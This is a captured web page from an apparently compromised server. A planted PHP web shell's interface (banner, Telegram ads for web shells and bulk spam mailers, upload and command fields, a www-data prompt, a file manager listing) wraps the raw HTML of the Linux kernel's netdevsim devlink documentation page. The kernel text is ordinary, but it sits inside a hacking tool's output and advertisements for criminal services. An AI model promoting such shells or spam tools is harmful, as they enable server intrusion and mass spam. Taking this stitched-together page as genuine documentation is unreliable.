__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.52: ~ $
<!DOCTYPE html>

<html lang="en" data-content_root="../../">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />

    <title>netdevsim devlink support &#8212; The Linux Kernel  documentation</title>
    <link rel="stylesheet" type="text/css" href="../../_static/pygments.css?v=fa44fd50" />
    <link rel="stylesheet" type="text/css" href="../../_static/alabaster.css?v=3918102e" />
    <script src="../../_static/documentation_options.js?v=5929fcd5"></script>
    <script src="../../_static/doctools.js?v=9bcbadda"></script>
    <script src="../../_static/sphinx_highlight.js?v=dc90522c"></script>
    <link rel="index" title="Index" href="../../genindex.html" />
    <link rel="search" title="Search" href="../../search.html" />
    <link rel="next" title="nfp devlink support" href="nfp.html" />
    <link rel="prev" title="mv88e6xxx devlink support" href="mv88e6xxx.html" />
   
  <link rel="stylesheet" href="../../_static/custom.css" type="text/css" />
  

  
  

  </head><body>
  <div class="document">
    
      <div class="sphinxsidebar" role="navigation" aria-label="Main">
        <div class="sphinxsidebarwrapper">
            <p class="logo"><a href="../../index.html">
              <img class="logo" src="../../_static/logo.svg" alt="Logo of The Linux Kernel"/>
            </a></p>
<h1 class="logo"><a href="../../index.html">The Linux Kernel</a></h1>



<p class="blurb">6.18.50</p>







<search id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../../search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <input type="submit" value="Go" />
    </form>
    </div>
</search>
<script>document.getElementById('searchbox').style.display = "block"</script>


<p>
<h3 class="kernel-toc-contents">Contents</h3>
<input type="checkbox" class="kernel-toc-toggle" id = "kernel-toc-toggle" checked>
<label class="kernel-toc-title" for="kernel-toc-toggle"></label>

<div class="kerneltoc" id="kerneltoc">
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../process/development-process.html">Development process</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/submitting-patches.html">Submitting patches</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/code-of-conduct.html">Code of conduct</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../maintainer/index.html">Maintainer handbook</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/index.html">All development-process docs</a></li>
</ul>
<ul class="current">
<li class="toctree-l1"><a class="reference internal" href="../../core-api/index.html">Core API</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../driver-api/index.html">Driver APIs</a></li>
<li class="toctree-l1 current"><a class="reference internal" href="../../subsystem-apis.html">Subsystems</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="../../subsystem-apis.html#core-subsystems">Core subsystems</a></li>
<li class="toctree-l2"><a class="reference internal" href="../../subsystem-apis.html#human-interfaces">Human interfaces</a></li>
<li class="toctree-l2 current"><a class="reference internal" href="../../subsystem-apis.html#networking-interfaces">Networking interfaces</a><ul class="current">
<li class="toctree-l3 current"><a class="reference internal" href="../index.html">Networking</a></li>
<li class="toctree-l3"><a class="reference internal" href="../../netlabel/index.html">NetLabel</a></li>
<li class="toctree-l3"><a class="reference internal" href="../../infiniband/index.html">InfiniBand</a></li>
<li class="toctree-l3"><a class="reference internal" href="../../isdn/index.html">ISDN</a></li>
<li class="toctree-l3"><a class="reference internal" href="../../mhi/index.html">MHI</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="../../subsystem-apis.html#storage-interfaces">Storage interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../../subsystem-apis.html#other-subsystems">Other subsystems</a></li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="../../locking/index.html">Locking</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../process/license-rules.html">Licensing rules</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../doc-guide/index.html">Writing documentation</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../dev-tools/index.html">Development tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../dev-tools/testing-overview.html">Testing guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../kernel-hacking/index.html">Hacking guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../trace/index.html">Tracing</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../fault-injection/index.html">Fault injection</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../livepatch/index.html">Livepatching</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../rust/index.html">Rust</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../admin-guide/index.html">Administration</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../kbuild/index.html">Build system</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../admin-guide/reporting-issues.html">Reporting issues</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../tools/index.html">Userspace tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../userspace-api/index.html">Userspace API</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../firmware-guide/index.html">Firmware</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../devicetree/index.html">Firmware and Devicetree</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../arch/index.html">CPU architectures</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../staging/index.html">Unsorted documentation</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../translations/index.html">Translations</a></li>
</ul>

</div>

<script type="text/javascript"> <!--
  var sbar = document.getElementsByClassName("sphinxsidebar")[0];
  let currents = document.getElementsByClassName("current")
  if (currents.length) {
    sbar.scrollTop = currents[currents.length - 1].offsetTop;
  }
  --> </script>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../../_sources/networking/devlink/netdevsim.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
        </div>
      </div>
      <div class="documentwrapper">
        <div class="bodywrapper">
          

          <div class="body" role="main">
            
  



<section id="netdevsim-devlink-support">
<h1>netdevsim devlink support<a class="headerlink" href="#netdevsim-devlink-support" title="Link to this heading">¶</a></h1>
<p>This document describes the <code class="docutils literal notranslate"><span class="pre">devlink</span></code> features supported by the
<code class="docutils literal notranslate"><span class="pre">netdevsim</span></code> device driver.</p>
<section id="parameters">
<h2>Parameters<a class="headerlink" href="#parameters" title="Link to this heading">¶</a></h2>
<table class="docutils align-default" id="id1">
<caption><span class="caption-text">Generic parameters implemented</span><a class="headerlink" href="#id1" title="Link to this table">¶</a></caption>
<tbody>
<tr class="row-odd"><td><p>Name</p></td>
<td><p>Mode</p></td>
</tr>
<tr class="row-even"><td><p><code class="docutils literal notranslate"><span class="pre">max_macs</span></code></p></td>
<td><p>driverinit</p></td>
</tr>
</tbody>
</table>
<p>The <code class="docutils literal notranslate"><span class="pre">netdevsim</span></code> driver also implements the following driver-specific
parameters.</p>
<table class="docutils align-default" id="id2">
<caption><span class="caption-text">Driver-specific parameters implemented</span><a class="headerlink" href="#id2" title="Link to this table">¶</a></caption>
<colgroup>
<col style="width: 5.0%" />
<col style="width: 5.0%" />
<col style="width: 5.0%" />
<col style="width: 85.0%" />
</colgroup>
<tbody>
<tr class="row-odd"><td><p>Name</p></td>
<td><p>Type</p></td>
<td><p>Mode</p></td>
<td><p>Description</p></td>
</tr>
<tr class="row-even"><td><p><code class="docutils literal notranslate"><span class="pre">test1</span></code></p></td>
<td><p>Boolean</p></td>
<td><p>driverinit</p></td>
<td><p>Test parameter used to show how a driver-specific devlink parameter
can be implemented.</p></td>
</tr>
</tbody>
</table>
<p>The <code class="docutils literal notranslate"><span class="pre">netdevsim</span></code> driver supports reloading via <code class="docutils literal notranslate"><span class="pre">DEVLINK_CMD_RELOAD</span></code></p>
</section>
<section id="regions">
<h2>Regions<a class="headerlink" href="#regions" title="Link to this heading">¶</a></h2>
<p>The <code class="docutils literal notranslate"><span class="pre">netdevsim</span></code> driver exposes a <code class="docutils literal notranslate"><span class="pre">dummy</span></code> region as an example of how the
devlink-region interfaces work. A snapshot is taken whenever the
<code class="docutils literal notranslate"><span class="pre">take_snapshot</span></code> debugfs file is written to.</p>
</section>
<section id="resources">
<h2>Resources<a class="headerlink" href="#resources" title="Link to this heading">¶</a></h2>
<p>The <code class="docutils literal notranslate"><span class="pre">netdevsim</span></code> driver exposes resources to control the number of FIB
entries, FIB rule entries and nexthops that the driver will allow.</p>
<div class="highlight-shell notranslate"><div class="highlight"><pre><span></span>$<span class="w"> </span>devlink<span class="w"> </span>resource<span class="w"> </span><span class="nb">set</span><span class="w"> </span>netdevsim/netdevsim0<span class="w"> </span>path<span class="w"> </span>/IPv4/fib<span class="w"> </span>size<span class="w"> </span><span class="m">96</span>
$<span class="w"> </span>devlink<span class="w"> </span>resource<span class="w"> </span><span class="nb">set</span><span class="w"> </span>netdevsim/netdevsim0<span class="w"> </span>path<span class="w"> </span>/IPv4/fib-rules<span class="w"> </span>size<span class="w"> </span><span class="m">16</span>
$<span class="w"> </span>devlink<span class="w"> </span>resource<span class="w"> </span><span class="nb">set</span><span class="w"> </span>netdevsim/netdevsim0<span class="w"> </span>path<span class="w"> </span>/IPv6/fib<span class="w"> </span>size<span class="w"> </span><span class="m">64</span>
$<span class="w"> </span>devlink<span class="w"> </span>resource<span class="w"> </span><span class="nb">set</span><span class="w"> </span>netdevsim/netdevsim0<span class="w"> </span>path<span class="w"> </span>/IPv6/fib-rules<span class="w"> </span>size<span class="w"> </span><span class="m">16</span>
$<span class="w"> </span>devlink<span class="w"> </span>resource<span class="w"> </span><span class="nb">set</span><span class="w"> </span>netdevsim/netdevsim0<span class="w"> </span>path<span class="w"> </span>/nexthops<span class="w"> </span>size<span class="w"> </span><span class="m">16</span>
$<span class="w"> </span>devlink<span class="w"> </span>dev<span class="w"> </span>reload<span class="w"> </span>netdevsim/netdevsim0
</pre></div>
</div>
</section>
<section id="rate-objects">
<h2>Rate objects<a class="headerlink" href="#rate-objects" title="Link to this heading">¶</a></h2>
<p>The <code class="docutils literal notranslate"><span class="pre">netdevsim</span></code> driver supports rate objects management, which includes:</p>
<ul class="simple">
<li><p>registering/unregistering leaf rate objects per VF devlink port;</p></li>
<li><p>creation/deletion node rate objects;</p></li>
<li><p>setting tx_share and tx_max rate values for any rate object type;</p></li>
<li><p>setting parent node for any rate object type.</p></li>
</ul>
<p>Rate nodes and their parameters are exposed in <code class="docutils literal notranslate"><span class="pre">netdevsim</span></code> debugfs in RO mode.
For example created rate node with name <code class="docutils literal notranslate"><span class="pre">some_group</span></code>:</p>
<div class="highlight-shell notranslate"><div class="highlight"><pre><span></span>$<span class="w"> </span>ls<span class="w"> </span>/sys/kernel/debug/netdevsim/netdevsim0/rate_groups/some_group
rate_parent<span class="w">  </span>tx_max<span class="w">  </span>tx_share
</pre></div>
</div>
<p>Same parameters are exposed for leaf objects in corresponding ports directories.
For ex.:</p>
<div class="highlight-shell notranslate"><div class="highlight"><pre><span></span>$<span class="w"> </span>ls<span class="w"> </span>/sys/kernel/debug/netdevsim/netdevsim0/ports/1
dev<span class="w">  </span>ethtool<span class="w">  </span>rate_parent<span class="w">  </span>tx_max<span class="w">  </span>tx_share
</pre></div>
</div>
</section>
<section id="driver-specific-traps">
<h2>Driver-specific Traps<a class="headerlink" href="#driver-specific-traps" title="Link to this heading">¶</a></h2>
<table class="docutils align-default" id="id3">
<caption><span class="caption-text">List of Driver-specific Traps Registered by <code class="docutils literal notranslate"><span class="pre">netdevsim</span></code></span><a class="headerlink" href="#id3" title="Link to this table">¶</a></caption>
<colgroup>
<col style="width: 5.0%" />
<col style="width: 5.0%" />
<col style="width: 90.0%" />
</colgroup>
<tbody>
<tr class="row-odd"><td><p>Name</p></td>
<td><p>Type</p></td>
<td><p>Description</p></td>
</tr>
<tr class="row-even"><td><p><code class="docutils literal notranslate"><span class="pre">fid_miss</span></code></p></td>
<td><p><code class="docutils literal notranslate"><span class="pre">exception</span></code></p></td>
<td><p>When a packet enters the device it is classified to a filtering
identifier (FID) based on the ingress port and VLAN. This trap is used
to trap packets for which a FID could not be found</p></td>
</tr>
</tbody>
</table>
</section>
</section>


          </div>
          
        </div>
      </div>
    <div class="clearer"></div>
  </div>
    <div class="footer">
      &#169;The kernel development community.
      
      |
      Powered by <a href="https://www.sphinx-doc.org/">Sphinx 8.1.3</a>
      &amp; <a href="https://alabaster.readthedocs.io">Alabaster 0.7.16</a>
      
      |
      <a href="../../_sources/networking/devlink/netdevsim.rst.txt"
          rel="nofollow">Page source</a>
    </div>

    

    
  </body>
</html>

Filemanager

Name Type Size Permission Actions
am65-nuss-cpsw-switch.html File 9.14 KB 0644
bnxt.html File 12.9 KB 0644
devlink-dpipe.html File 21.35 KB 0644
devlink-eswitch-attr.html File 13.3 KB 0644
devlink-flash.html File 17.62 KB 0644
devlink-health.html File 16.4 KB 0644
devlink-info.html File 19.9 KB 0644
devlink-linecard.html File 15.84 KB 0644
devlink-params.html File 18.2 KB 0644
devlink-port.html File 35.92 KB 0644
devlink-region.html File 16.65 KB 0644
devlink-reload.html File 14.16 KB 0644
devlink-resource.html File 15.4 KB 0644
devlink-selftests.html File 10.22 KB 0644
devlink-trap.html File 57.38 KB 0644
etas_es58x.html File 10.26 KB 0644
hns3.html File 9.53 KB 0644
i40e.html File 11.17 KB 0644
ice.html File 73.09 KB 0644
index.html File 15.26 KB 0644
ionic.html File 9.37 KB 0644
iosm.html File 16.14 KB 0644
ixgbe.html File 21.33 KB 0644
kvaser_pciefd.html File 9.29 KB 0644
kvaser_usb.html File 9.84 KB 0644
mlx4.html File 11.14 KB 0644
mlx5.html File 32.44 KB 0644
mlxsw.html File 14.51 KB 0644
mv88e6xxx.html File 9.32 KB 0644
netdevsim.html File 15.11 KB 0644
nfp.html File 11.93 KB 0644
octeontx2.html File 12.88 KB 0644
prestera.html File 20.36 KB 0644
qed.html File 9.16 KB 0644
sfc.html File 12.63 KB 0644
ti-cpsw-switch.html File 9.44 KB 0644
zl3073x.html File 11.28 KB 0644
Filemanager